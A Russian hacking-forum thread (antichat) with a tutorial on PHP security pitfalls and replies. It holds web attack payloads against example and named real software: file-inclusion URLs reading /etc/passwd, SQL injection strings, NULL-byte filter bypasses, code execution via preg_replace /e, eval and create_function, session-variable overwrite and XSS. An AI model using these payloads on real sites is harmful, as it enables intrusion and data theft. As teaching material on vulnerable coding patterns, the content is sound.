Статьи Роковые ошибки Php. Часть вторая.

Discussion in 'Статьи' started by Elekt, 27 Dec 2007.

  1. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508


    Статья является продолжением к первой части: _http://forum.antichat.ru/thread54355.html

    Выражается благодарность всем, что так или иначе обсуждал со мной аспекты атак, описанных в статье.

    =======================================


    Роковые ошибки PHP. Часть вторая.

    Небезопасное Web-программирование.


    [ Вступление ]

    Поиск уязвимостей медленно но верно переходит на новую качественную ступень - исследование платформы/интерпретатора, изучение особеностей работы критичных для безопасности функций, пограничные состояния, переполнения буфера.
    Старые элементарные баги неумолимо изживают себя. www.hardened-PHP.net ярко показал современный уровень дыр и эксплоитов.
    И происходит своего рода естественный отбор - либо ты учишься чемуто-то новому, либо уходишь... Я покажу Вам, как остаться.


    В первой части тебя ознакомили с распространенными уязвимостями.
    Расскажу тебе об особенностях PHP, которые обязан знать каждый уважающий себя багоискатель.
    В купе с первой частью ты сможешь не только расковырять пачку двигов, но и осознать - век PHP багов отнюдь не 20й век.
    Все только начинается, тебе повезло быть здесь и сейчас. Учимся думать и все получится, ибо мозг - наш главный инструмент.


    [ index.php?GLOBALS[file]=hehe! ]

    Бага медленно уходит в историю. Существует немало эксплоитов под неё, например, от небезызвестного rgod'a.
    В достаточно устаревших версиях PHP < = 4.3.10 и PHP <= 5.0.5 есть возможность определить переменную через массив GLOBALS,
    используя запрос вида:

    php.ini: register_globals=ON

    /index.php?GLOBALS[foobar]=blaaa


    Смотрим на результат: print_r($GLOBALS);
    А поскольку суперглобальный массив GLOBALS проецируется на все переменные: print_r($foobar);


    [ import_request_variables('GPC') - EVIL OVERWRITE ]

    В первой части ты уже читал про неё, но опишу интересную особенность 'аццкой' перезаписи.
    'GPC' (GET/POST/COOKIE) в аргументе функции означает порядок, следуя которому будут переписаны переменные.
    Тоесть в данном случае - GPC - сначала перепишутся значения из GET, потом из POST и только после из COOKIE.
    Как ты думаешь, что выдаст данный код?

    /index.php?a=111
    POST: a=222
    COOKIE: a=333;


    PHP:
        import_request_variables('GPC');
        print 
    $a;
    Код вернет '333'. Если было бы 'CGP' , то ответ был бы '222'. И аналогично.
    Используя данную особенность, можно виртуозно обходить фильтры защиты.
    Реальный пример уязвимого кода 'самой наисекурной' SLAED CMS 3.x ( мой привет автору +) ):
    PHP:
        if (isset($_GET['name']) || isset($_POST['name'])) {
            
    $name trim(isset($_POST['name']) ? $_POST['name'] : $_GET['name']);
            if (
    preg_match("/[^a-zA-Z0-9_]/"$name)) {
                
    Header("Location: index.php");
                exit;
            }
        ....................................
            
    // Register globals On
            
    if ($old_modules == 1) {
                if (!
    ini_get("register_globals")) @import_request_variables('GPC');
            }
        ....................................
            if (
    file_exists("modules/$name/".$file.".php")) {
                include(
    "modules/$name/".$file.".php");
        
    Посмотрите внимательно, $name проверяется только в GET и POST. Тогда указав в COOKIE произвольное значение $name, мы получим локальный инклуд:

    /index.php?name=FAQ&file=index
    cookie: name=../../.././etc/passwd%00



    [ parse_str() OVERWRITE ]

    Достаточно новый баг(скорее фича) - parse_str() без второго параметра позволяет аналогично extract() или import_request_variable()
    переопределить глобальный переменные, в том числе и служебные как _SERVER , _SESSION , _ENV, GLOBALS

    /index.php?_SERVER[REMOTE_ADDR]=antichat

    PHP:
        parse_str($_SERVER['QUERY_STRING']);
        
    print_r($_SERVER);
    Особенность использования: для перезаписи произвольных массивов второй аргумент parse_str() будет переписан значениями первого.
    Для нас важно отсутствие второго аргумента, иначе перепишется только сам второй аргумент - parse_str($_SERVER['QUERY_STRING'],$query_str)


    [ $$, &$ - жесткие и символические ссылки ]

    Использование жестких и символических ссылок также открывает потенциальные возможности для проникновения.
    Ранее недоступные из вне переменные могут стать досягаемыми, они глобализируются и несут угрозу безопасности.
    Переменные становятся взаимозависимыми, и может возможность переопеределить критически важные переменные, например, идентификаторы сессии.

    /index.php?_SERVER[REMOTE_ADDR]=antichat.ru&_SESSION[auth]=bugaga!

    PHP:
        while(list($key,$val)=each($_GET))
         { 
           $
    $key=$val
         }
        echo 
    $_SERVER['REMOTE_ADDR'];
        if(isset(
    $_SESSION)) {echo $_SESSION['auth'];}
    Подробное описание сабжа: http://www.php.su/learnphp/?re

    А теперь бонус - помимо сказанного, благодаря тому что уязвимость глобализирует переменные - открывается возможность использовать UNSET атаку
    даже при выключенном register_globals! Причем ни import_request_variables('GPC') , ни extract() такого же эффекта не дают.


    [ ini_set(), ini_get() ]

    Использование ini_set() позволяет изменять некоторые значения опций конфигурации.
    Во-первых, далеко не все значения могут быть изменены из текущего скрипта.
    Ознакомься с полным списком здесь http://php.su/functions/?ini_set и обрати внимание на "Определение констант PHP_INI_*' (внизу).
    Только опции с PHP_INI_ALL флагом могут быть изменены через ini_set().

    А во-вторых, некоторые хостеры не жалуют ini_set(), ini_get() и запрещают их, тем самым делая свой хостинг менее привлекательным
    для размещения всякой гадости, вроде веб-ботов, парсеров\грабберов, анонимайзеров и прочей 'нежити', которым для комфортной работы требуется
    изменять стандартные настройки PHP, вроде "max_execution_time","default_socket_timeout" и тд.

    Но такой расклад получается далеко не на пользу легальным программам, особенно, если их безопасность строится, опираясь на ini_set().
    Тогда, например, @ini_set( "register_globals", "0" ); @ini_set( "magic_quotes_gpc", "1" ); используемые в скрипте не изменят настроек и
    движок может стать легкой мишенью.

    Тоже касается и ini_get(), так как в случае его запрета может быть нарушена логика защитного механизма.
    Как пример из практики - последний громкий эксплоит под PunBB.


    [ ereg() poison NULL-byte ]

    Использование ereg() и её производных (ereg_replace(),mb_ereg_match()) опасно тем,
    что ereg() не является бинарно-совместимой функцией, тоесть воспринимает NULL-байт за конец строки и прекращает обработку, что дает возможность обойти фильтр.

    /index.php?page=%00../../../../../../../etc/passwd%00blaa
    PHP:
        if(ereg('/',$_GET['page'])){die('Include detected!');}
        include(
    getcwd().trim($_GET['page']).'.html');
        
    /index.php?page=%00<script>alert(/antichat.ru/)</script>
    PHP:
        if(ereg('<',$_GET['page'])){die('XSS detected!');}
        echo 
    $_GET['page'];
    eregi() имеет аналогичную уязвимость, но в одной из версий PHP её пропатчили.
    Поскольку ereg() юзают где только возможно, здесь поле непаханное для всех типов атак.


    [ $_SERVER[HTTP_X] ]

    Дыры в http-заголовах занимают в моем скромном рейтинге почетное первое место.
    Это настоящий клад для багоискателей. Сколько двигов тут полегло - уже и не сосчитать.
    Уважаемые девелоперы! Продолжайте и далее доверять всем входящим http-данным! =))
    И без работы ни вы ни мы не останемся...
    Достаточно вспомнить последний публичный эксплоит под IPB_2.16
    Если хорошо порыться на милворме, можно найти от XSS и SQL-inj до выполнения кода(!).
    Наиболее часто используемые заголовки - user-agent, referer, accept-language, client-ip, x-forwarded-for, x-real-ip

    Вообще сейчас очень модно отсылать данные, помещая их в HTTP-заголовки.
    Такой способ часто используется при выполнении команд в эксплоитах(так называемый интерактивный шелл).
    Как пример - последний публичный эксплоит под punBB - $_SERVER['HTTP_SHELL']
    Но модно не потому, что круто. А потому что очень удобно.
    ~ простота посылки и приема средствами php,perl,etc..
    ~ отсутствие логирования, в отличии от _POST (mod_security)
    ~ пока не существует IDS, фиксирующей передачу левых данных в произвольных http-заголовках


    [ magic_quotes_gpc - ? ]

    Практически каждый из нас слышал о 'магических' ковычках и их роли в SQL-injection. Но мало кто задумывался, что означает 'gpc'.
    Если мы обратимся к определению, то там ясно сказано - 'magic_quotes_gpc=ON' автоматически слеширует _GET/_POST/_COOKIE - (gpc) + _REQUEST.
    А остальное - никто не слеширует, как то $_FILES, $_ENV, $_SERVER, $_SESSION...
    Теперь вспомните предыдущий пункт. Да, юзер-агент, реферер лежат в _SERVER и magic_quotes'ом не обрабатываются.
    А значит, если программер не позаботился о фильтре, то репутация продукта висит на волоске.

    Кроме того, многие защиты основываясь на 'if(get_magic_quotes_gpc())..' используют add~ или stripslashes.
    Поскольку такой подход применяется ко всем переменным подряд, а является корректным лишь для GET/POST/COOKIE/REQUEST,
    то при magic_quotes=ON приложение становится подверженным SQL-inj в не GPC-массивах.
    PHP:
        if (!get_magic_quotes_gpc())
         {
          function 
    addslashes_deep($value
           {
             
    $value is_array($value) ? array_map('addslashes_deep'$value) : addslashes($value);
             return 
    $value;
           }
          
    $_SERVER array_map('addslashes_deep'$_SERVER);
         }
    Ну, как пример, пусть magic_quotes=ON, тогда User-Agent не подвергается addslashes.


    [ intval(), (int) ]

    У intval() есть интересная особенность - она возвращает TRUE если первой в аргументе содержится хотя бы одна цифра.
    И у разработчиков тоже есть интересная особенность =)) -- они периодически используют intval()/(int) в логичесих условиях,
    допуская непростительные ошибки.
    Ведь наличие цифр в строке вовсе не гарантирует отсутствие других символов.

    Пример:

    /index.php?id=1'"qwerty
    PHP:
        $id=$_GET['id'];
        if(
    intval($id) && (int)$id)
         {
          
    sql_query("select $id from table_name");
         }
         else die(
    'Id not integer!');
    Несмотря на кажущуюся незначительность баги, встречается она в диком тырнете достаточно регулярно.
    Для безопасного сравнения используйте is_numeric()


    [ a == 'a' and a === 'a' ]

    PHP не проверяет равенство типов при двойном равно (==), автоматически приводя их к строковому.
    Для верного сравнения данных разных типов применяется тройное равно (===).
    Неправильное использование двойного равно, например, в авторизации, == может обернуться уязвимостью.

    PHP:
        $aaa 123456;
        
        if( 
    '123456' ==  $aaa ){echo '<br>ok!';}else{echo '<br>no.';}
        if( 
    '123456' === $aaa ){echo '<br>ok!';}else{echo '<br>no.';}
    ok!
    no.

    Как пример - этой уязвимости был подвержен phpBB 2.0.8
    Однако, такая бага далеко не уникальна и встречается в других продуктах по сей день ;)


    [ string or integer ? ]

    Более того, если мы попробуем сравнить строку с числом, то... сравнение как ни странно состоится!
    Важно только то, чтобы первым символом в строке было число - именно с ним произойдет сравнение.

    Пример:

    PHP:
        $id="8' or 1=1/*";
        if(isset(
    $id) && $id )
         {
          
    query("select name from table where id='$id'");
         }
    Дружественность PHP к кодеру порой губительна.


    [ %2527 => %27 => ' , %2522 => %22 => " ]

    Двойное урл-кодирование параметра в купе с urldecode() дает возможность обойти magic_quotes/фильтры и выполнить произвольные SQL-команды.
    Здесь %25 - урл-символ знака процента '%'. Таким образом после преобразования мы получаем незаэкранированную ковычку.
    Пример уязвимого кода:

    /index.php?login=hack%2527+or+1=1+limit+1/*

    PHP:
        $login=addslashes($_GET['login']);
        
    mysql_query("SELECT id from users where name='".urldecode($login)."'");
    Часто можно встретить в обработке кукисов, _SERVER['QUERY_STRING'].
    Подобный баг был в ранних версиях phpBB и давал совместно с preg_replace(//e) выполнение произвольного кода.


    [ base64_encode/base64_decode ]

    Кодирование данных в base64 виде - также излюбленный приём вебмастеров.
    Ну и как следствие - в закодированном виде слеширования конечно же не происходит и может возникнуть условие для SQL-inj.
    Пример уязвимого кода:

    PHP:
    $pass=base64_decode(addslashes($_COOKIE['password']));
        
    mysql_query=("SELECT id from table where pass='$pass'");    
    Из практики - всем известный PHPNUKE долгое время страдал такой болезнью.


    [ index.php?a[]=antichat ]

    Не спешите пропускать абзац - вас ждет не только раскрытие пути...
    Зачастую данные извлекаются из глобальных массивов без проверки параметра, массив он или строка(число).
    И здесь можно получить от раскрытия пути до обхода проверок.
    А теперь вспомните, функцию, которая чаще всего работает с глобальными массивами - addslashes() ! ага? пахнет жаренным.
    Это уже действительно серьезно. Многие проверки в движках давятся при неожиданной встрече с массивом.
    Пример безопасной проверки, используя рекурсивный самовызов:
    PHP:
        if (!get_magic_quotes_gpc())
         {
          function 
    addslashes_deep($value
           {
             
    $value is_array($value) ? array_map('addslashes_deep'$value) : addslashes($value);
             return 
    $value;
           }
          
    $_GET array_map('addslashes_deep'$_GET);
          
    $_POST array_map('addslashes_deep'$_POST);
          
    $_COOKIE array_map('addslashes_deep'$_COOKIE);
          
    $_REQUEST array_map('addslashes_deep'$_REQUEST);
         }
    О ошибках: от нотиса до варнига - тут уже в зависимости от самой функции.
    Например, array_key_exists() выдаст "Warning: array_key_exists()..."
    Полный список уязвимых функций еще предстоит составить...


    [ preg_replace() with /e ]

    Достаточно известный способ выполнить команды там, где нельзя, но очень хочется =)
    При использовании /e(~e) модификатора в регулярке - пхп код, содержащийся во втором аргументе, выполнится...

    /index.php?match=123456&search=phpinfo();

    PHP:
        preg_replace("/345/e",$_GET['search'],$_GET['match']);
    Однако, даже если модификатор /e отсутствует - мы при возможности можем внедрить его, обрубив регулярку NULL-байтом.
    Баг достаточно известный - эксплоит под phpbb=2.0.17 как раз на нем и был основан.
    Пример:

    /index.php?match=123456&search=phpinfo();&modifi=345/e%00

    PHP:
        preg_replace('/'.$_GET['modifi'].'/',$_GET['search'],$_GET['match']);
    Именно preg_replace() ищут в первую очередь после eval(), желая найти выполнение произвольного PHP-кода.


    [ Динамическое определение переменных ]

    Иногда перед кодером встает необходимость динамически определить переменную, когда задается произвольно не только значение, но и её имя.
    Например, данные получают из БД, конфига, темплэйта или напрямую от пользователей, а после проходят эту операцию.
    Опасность заключается в том, что при отсутствии должной фильтрации атакующий получает веб-шелл на сервере.
    Пример уязвимого кода:

    /index.php?value=;phpinfo();

    PHP:
          $new "antichat"
          
    $value $_GET['value']; 
          eval(
    "\$new = \$value;");
    Красивое и эффективное выполнение команд.

    Но и без эвала, это несет угрозу неконтролируемой глобализации произвольных переменных, как например здесь:

    /index.php?var=auth&val=OK;

    PHP:
          $auth='NO';
          
    $new $_GET['var']; 
          ${ 
    $new } = $_GET['val'];
          echo 
    $auth;

    [ create_function() ]

    Создание функций как частный случай обратного вызова функций - один из самых красивых способов выполнения произвольного кода.
    Рассмотрим пример на create_function():

    /index.php?a=phpinfo();


    PHP:
        $a=$_GET['a'];
        
    $new create_function('$x'"return $a;"); 
        
    $new('');
    Как видите, благодаря тому, что мы можем влиять на возвращаемый результат - возможно выполнение произвольного кода.
    Практическое нахождение такой уязвимости обусловлено высоким уровнем удачи вашего юнита +) , а так же редкой криворукостью кодера.
    Как пример - нашумевший эксплоит Шанкара для выполнения произвольных php-команд в TikiWiki.


    [ header("Location: ... die(); ]

    Поставив перенаправление, программист порой забывает добавить после него exit() или die(). Таким образом, код продолжает выполняться.
    Используя любую http-тулзу(AccessDiver,intruder,inetcrack), отключив java-script в браузере(если редирект выполнен на яве)
    или к примеру эксплоит на PHP - атакующий увидит результат.
    Подобная ситация - серьезная брешь в безопасности,ведь редирект часто используют при неверной авторизации или в механизмах обработки ошибок.

    Пример безопасного кода:

    PHP:
        header("Location: htpp://antichat.ru");
        die() or exit();
    Мне извеcтны по крайней мере два весьма популярных движка, страдающих такой болезнью.


    [ EOF ]

    С точки зрения кодера, многих из описанных уязвимостей вообще не существует, поскольку копаться в тонкостях PHP - неблагодарная а самое главное - не оплачиваемая работа. Потому у Нас всегда будет преимущество и лишний козырь. Эти баги были. И будут. Вне зависимости от того, сколько раз про это напишут и скажут.

    Описанным уязвимостям подвержены многие и многие продукты. И именно Нам еще и еще раз выпадает честь и удовольствие это подтвердить =)
    Чем мы вскоре и займемся, но это уже совсем другая история...


     
    #1 Elekt, 27 Dec 2007
    Last edited: 1 Apr 2008
  2. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    570
    Likes Received:
    160
    Reputations:
    179
    Вообшем прочитал всё 3 раза, был в шоке, после пива очнулся. Но малекий шок остался, после того как прочитал про inval() я думал что кроме числовых значей он больше нечего не берёт , но окозалось не так жаль. Вот иди после всего этого и пиши скрипт.

    P.S Elekt отлично просто супер, статья очень понравилась, давай продолжение таких статей.
     
  3. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    578
    Likes Received:
    274
    Reputations:
    91
    Так сразу страшно ложиться спать стало. Пересмотрел последний скрипт. Практически все вышеописанное используется, но к счастью по умному (хотя сам этого не подозревал)
    Весьма полезная статья оказалась для меня, да думаю не только для меня :)
     
  4. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,192
    Likes Received:
    727
    Reputations:
    266
    многие пункты типа "intval" и "urldecode после addslashes" ,addslashes_deep - вообще бред. В документации ясно все про это написано. А последняя функция - вообще непонятно что.
     
  5. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    570
    Likes Received:
    160
    Reputations:
    179
    Соглашусь с nerezus что там можна делать с headr() ? чёта тожа непонял.
     
  6. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    про Header не понял.

    Эхх кто бы ее еще читал..
     
    1 person likes this.
  7. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    про HEADER имеется ввиду- такой к примеру скрипт edit.php в админке, в начале проверяется залогинился ли ты под админом , если нет идет редирект, но после функции header не стоит exit, поэтому можно использовать этот скрипт дальше невзираю на права.
     
  8. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Хорошая статья, Элек на высоте, но вот только мое ИМХО, журнал Х не стоит таких мыслей и такой Pr ачату не нужен, все разработки, подобные этой, должны оставаться внутри закрытых комунити.
     
    _________________________
  9. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    В принцыпе боян, но первый раз это вижу изложенненным с точки зрения php, и с точки зрения програмиста.
     
  10. •••™NO FEAR™•••

    •••™NO FEAR™••• Elder - Старейшина

    Joined:
    8 Aug 2005
    Messages:
    669
    Likes Received:
    426
    Reputations:
    335
    полностью согласен +1
    Ну а Элект молодец.
     
  11. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,118
    Reputations:
    1,139
    А ну дык ) Это неинтересно
     
  12. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    она и не берет, просто надо ее правильно юзать.
    PHP:
    $id intval($_REQUEST['id']);
     
    sql_query("select $id from table_name");
    Elekt, спасибо! статья ммм супер )

    зы. фишку с header понял. :p
     
    _________________________
  13. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    Есть ещё несколько забавных вещичек связанных с переменной $_SERVER['PHP_SELF']

    например кодес
    PHP:
    echo "<form action='".$_SERVER['PHP_SELF']."'>";
    при обращении к скрипту как
    Code:
    http://localhost/script.php/">lalala
    вы увидем выход за пределы тега etc, т.е. потенциальная xss)
    При этом возможно передавать переменные через GET, например
    PHP:
    echo "<a href='".$_SERVER['PHP_SELF']."?lalala'>link</a>";
    if(
    $_GET['hek']=='4') echo 'тынц-тынц';
    Code:
    http://localhost/script.php/"><script>alert(/XSS/)</script>?hek=4
    на выходе мы получим наш алерт и надпись "тынц-тынц" =)

    Далее если $_SERVER['PHP_SELF'] используется при перенаправлении путём посылки хэдера, то можно вызвать раскрытие пути
    PHP:
        header("Location: {$_SERVER['PHP_SELF']}");
    Code:
    http://localhost/script.php/%0ALocation:%20http://www.google.com
    Так же можно обойти некоторые ограничение безопасности, например в wp-ids

    файл wpids-css.php
    PHP:
    <?php
    if(eregi("^wpids\-css\.php"basename($_SERVER['PHP_SELF']))) {
        die(
    'You cannot call this file directly.');
    }
    ?>
            <style type="text/css">
             #wpids_wrapper {
                padding:20px;
                background-color:#fbfbfb;
             }
    ...
    обходится элементарно
    Code:
    http://localhost/wp-ids/wpids-css.php/lalala
    PHP:
    basename($_SERVER['PHP_SELF'])='lalala'
    [size=-100]PS ничё особенного в файле нет, но всё-таки) но если брать конкретно wp-ids, то главным образом обламывает .htaccess +)

    линк[/size]
     
    _________________________
    #13 +toxa+, 22 Feb 2008
    Last edited: 6 Apr 2009
    3 people like this.
  14. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508

    To nerezus, [ cash ]
    совершенно верно, не претендую на первоткрывателя.
    Это обзор того что известно, только все вместе с моими коментариями и некоторыми доработками.


    [ _REQUEST {variables_order} OVERWRITE ]

    Глобальный массив реквеста формируется по принципу последней перезаписи переменных из других глобальных массивов в порядке, заданном директивой php.ini :

    variables_order = EGPCS (по дефолту)

    где
    E - $_ENV[]
    G - $_GET[]
    P - $_POST[]
    C - $_COOKIE[]
    S - $_SERVER[]


    только для реквеста енв и серверный массивы будут проигнорированны.

    Тоесть в данном порядке конечные значения $_REQUEST будут переписаны содержимым куков в последнюю очередь.

    Это можно использовать при криво поставленных фильтрах безопасности со всеми вытекающими.
    Примерно как и импортреквест для инклуда в слаеде.
    Кстати дайте мне в ПМ последнюю его версию, потестим.


    Пример, есть код:

    PHP:
    <?php

    print "variables_order : ".ini_get('variables_order')."<br>";

    print 
    "<br>GET   : ";print_r($_GET);
    print 
    "<br>POST  : ";print_r($_POST);
    print 
    "<br>COOKIE: ";print_r($_COOKIE);

    print 
    "<br><br>REQUEST: ";print_r($_REQUEST);

    ?>
    Шлем пакет на скрипт:

    Code:
    POST /1.php?a=1 HTTP/1.0
    Host: localhost
    Cookie: a=3;
    Content-Length: 3
    Content-Type: application/x-www-form-urlencoded
    
    a=2
    Наблюдаем:

    Code:
    variables_order : EGPCS
    
    GET : Array ( [a] => 1 ) 
    POST : Array ( [a] => 2 ) 
    COOKIE: Array ( [a] => 3 ) 
    
    REQUEST: Array ( [a] => 3 ) 

     
    #14 Elekt, 22 Mar 2008
    Last edited: 1 Apr 2008
  15. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    Я в шоке как так всегда использовал ereg и ereg_replace!!
    только что дома на 2008 denver попробовал все ок уязвимости с %00 нет. У меня php версии 5.2.4. Скажите в каких версиях ereg уязвима?????
     
  16. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,192
    Likes Received:
    727
    Reputations:
    266
    жесть... на самом деле тут нет ничего страшного, ну кроме ereg, просто ошибки вызваны нереальной кривостью рук программиста или админа, а более-менее знающий пхп(больше 2-3 дней) так уже не напишет.
     
  17. zerling

    zerling New Member

    Joined:
    4 Jan 2008
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    "urldecode после addslashes" - на этой ошибке построена blind SQL injection в wordpress2.1
    intval - вполне возможно такое встретить
    addslashes_deep - не понял что тебе тут не понятно
    header() - не знаешь что за ф-ция или не знаешь к чему может привести ее использование без die(); ?
    Думай в следующий раз прежде чем что то пукнуть.
    Все это уже старо и всем давно известно. В анонсе написано "Поиск уязвимостей медленно но верно переходит на новую качественную ступень - исследование платформы/интерпретатора, изучение особеностей работы критичных для безопасности функций, пограничные состояния, переполнения буфера." Вот бага с оператором unset() из первой части это что то качественно новое, а фичи из 2 части никак не тянут на новую ступень...
     
  18. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,192
    Likes Received:
    727
    Reputations:
    266
    Понимаешь, если человек забивает гвозди латексовым членом говорит, что член от этого портится - то это не член хреновый, а человек хреновый.
    Так что пукаешь тут ты, покрывая такого человека )
    Посмотри на форумы по пхп. Ну нету там таких тем. А вот в мануал посылают ;)

    с чего ты взял?

    Дело в том, что я ориентировался на первую тему(роковые ошибки), где были показаны ошибки пхп. А в этой теме именно ошибки админов и программистов, но чтобы не допускать их достаточно лишь немного думать и знать предметную область.
    В то время как ошибки самого пхп - это реально ошибки.
     
  19. zerling

    zerling New Member

    Joined:
    4 Jan 2008
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    ну если называшь бредом именно несоответсвие анонсу, то это так, автор проперся, т.к. все это документированные возможности. Надеялся узнать что то новое об ошибках уровня платформы, а все что в статье уже практически в двигах не встречается (
     
  20. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    О половине `фичах ` написанно напрямую в книгах о ПХП
    допустим что переписывается сначало Get=>post=>cookie,
    а 2 половина была оч.полезной... .Автору +
     
Loading...
Similar Threads - Роковые ошибки вторая
  1. Дикс
    Replies:
    32
    Views:
    38,184
  2. ImpLex
    Replies:
    4
    Views:
    3,251
  3. Евгений Минаев
    Replies:
    21
    Views:
    87,030
  4. k00p3r
    Replies:
    0
    Views:
    4,848